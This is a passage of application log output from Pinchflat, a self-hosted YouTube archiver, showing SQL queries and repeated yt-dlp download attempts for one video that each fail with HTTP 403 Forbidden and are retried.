m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((NOT (m0."media_filepath" IS NULL) AND NOT (m0."prevent_download" = 1)) AND NOT (NOT (m0."media_redownloaded_at" IS NULL))) AND IFNULL(redownload_delay_days, 0) > 0 AND DATE('now', '-' || redownload_delay_days || ' day') > DATE(uploaded_at) AND DATE(media_downloaded_at, '-' || redownload_delay_days || ' day') < DATE(uploaded_at) ) [] 19:00:00.166 [info] Redownloading 1 media items 19:00:00.168 [debug] QUERY OK source="tasks" db=0.1ms idle=10.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17080, 482073, ~U[2026-08-20 02:00:00Z], ~U[2026-08-20 02:00:00Z]] 19:00:00.168 [info] {"args":{},"id":17079,"meta":{"cron":true,"cron_expr":"0 2 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaQualityUpgradeWorker","source":"oban","duration":4109,"event":"job:stop","queue_time":163316,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:00.174 [info] {"args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"system_time":1787191200173925233,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:00.174 [debug] QUERY OK source="media_items" db=0.2ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 19:00:00.174 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:00:00.174 [debug] QUERY OK source="sources" db=0.2ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:00:00.180 [debug] QUERY OK source="media_metadata" db=0.1ms idle=12.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [482073] 19:00:00.180 [debug] QUERY OK source="media_profiles" db=0.2ms idle=11.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:00:00.181 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:00.181 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:00.181 [debug] Running yt-dlp command for action: get_downloadable_status 19:00:00.182 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:00.182 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:00.182 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:00.182 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1d/a5/1da56cce9d8c7753d8a176c73327c786e74d213346b9ca574c98fe5c2233adcc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:00:02.782 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/1d/a5/1da56cce9d8c7753d8a176c73327c786e74d213346b9ca574c98fe5c2233adcc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:00:02.782 [debug] Running yt-dlp command for action: download 19:00:02.783 [debug] QUERY OK source="settings" db=0.1ms idle=1000.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:02.783 [debug] QUERY OK source="settings" db=0.1ms idle=1000.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:02.783 [debug] QUERY OK source="settings" db=0.1ms idle=1000.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:02.783 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/28/fb/28fb313bf38ae415a87eae602f400250870c3cfe7876e88186a3d8381cbe88d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:00:07.953 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/28/fb/28fb313bf38ae415a87eae602f400250870c3cfe7876e88186a3d8381cbe88d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: unable to download video data: HTTP Error 403: Forbidden 19:00:07.953 [error] yt-dlp download error for media item #482073: "ERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:00:07.954 [debug] QUERY OK source="media_items" db=0.5ms idle=1171.1ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: unable to download video data: HTTP Error 403: Forbidden\n", ~U[2026-08-20 02:00:07Z], 482073] 19:00:07.954 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":7780314,"event":"job:exception","queue_time":173290,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:17.692 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:25.641 [info] {"args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"system_time":1787191225641179362,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:25.641 [debug] QUERY OK source="media_items" db=0.2ms idle=1858.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 19:00:25.641 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:00:25.642 [debug] QUERY OK source="sources" db=0.1ms idle=1009.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:00:25.642 [debug] QUERY OK source="media_metadata" db=0.1ms idle=860.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [482073] 19:00:25.643 [debug] QUERY OK source="media_profiles" db=0.1ms idle=8.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:00:25.643 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:25.643 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:25.644 [debug] Running yt-dlp command for action: get_downloadable_status 19:00:25.644 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:25.644 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:25.644 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:25.644 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/78/c9/78c978391b7dac280031337828c3b1dd597c0c30b93126e67705093c48edf50a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:00:28.180 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/78/c9/78c978391b7dac280031337828c3b1dd597c0c30b93126e67705093c48edf50a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:00:28.180 [debug] Running yt-dlp command for action: download 19:00:28.181 [debug] QUERY OK source="settings" db=0.2ms idle=1398.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:28.181 [debug] QUERY OK source="settings" db=0.1ms idle=1398.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:28.181 [debug] QUERY OK source="settings" db=0.1ms idle=1399.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:28.181 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/67/ad/67adcb144db96b64c79bf73b64665be26c868e1c958faae3510d9bf5523bc751.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:00:32.517 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/67/ad/67adcb144db96b64c79bf73b64665be26c868e1c958faae3510d9bf5523bc751.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: unable to download video data: HTTP Error 403: Forbidden 19:00:32.517 [error] yt-dlp download error for media item #482073: "ERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:00:32.518 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":6876536,"event":"job:exception","queue_time":685962,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:47.694 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:51.678 [info] {"args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"system_time":1787191251678012148,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:00:51.678 [debug] QUERY OK source="media_items" db=0.2ms idle=1895.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 19:00:51.678 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:00:51.679 [debug] QUERY OK source="sources" db=0.1ms idle=1009.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:00:51.684 [debug] QUERY OK source="media_metadata" db=0.1ms idle=901.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [482073] 19:00:51.684 [debug] QUERY OK source="media_profiles" db=0.1ms idle=12.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:00:51.684 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:51.685 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:51.685 [debug] Running yt-dlp command for action: get_downloadable_status 19:00:51.686 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:51.686 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:51.686 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:51.686 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a9/ca/a9ca875bbde1b3d3b170944a04fb25ff1351bcd66dc3c4fd66dcb883aec25f70.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:00:54.321 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a9/ca/a9ca875bbde1b3d3b170944a04fb25ff1351bcd66dc3c4fd66dcb883aec25f70.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:00:54.321 [debug] Running yt-dlp command for action: download 19:00:54.321 [debug] QUERY OK source="settings" db=0.2ms idle=1539.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:54.322 [debug] QUERY OK source="settings" db=0.0ms idle=1539.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:54.322 [debug] QUERY OK source="settings" db=0.0ms idle=1539.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:54.322 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/66/d2/66d2d4f3290c503df7235729a85ec28a196c94147ad8ed03c011e26d22899c94.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:00:59.193 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/66/d2/66d2d4f3290c503df7235729a85ec28a196c94147ad8ed03c011e26d22899c94.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: unable to download video data: HTTP Error 403: Forbidden 19:00:59.193 [error] yt-dlp download error for media item #482073: "ERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:00:59.194 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":7515647,"event":"job:exception","queue_time":159460,"attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:01:00.158 [info] 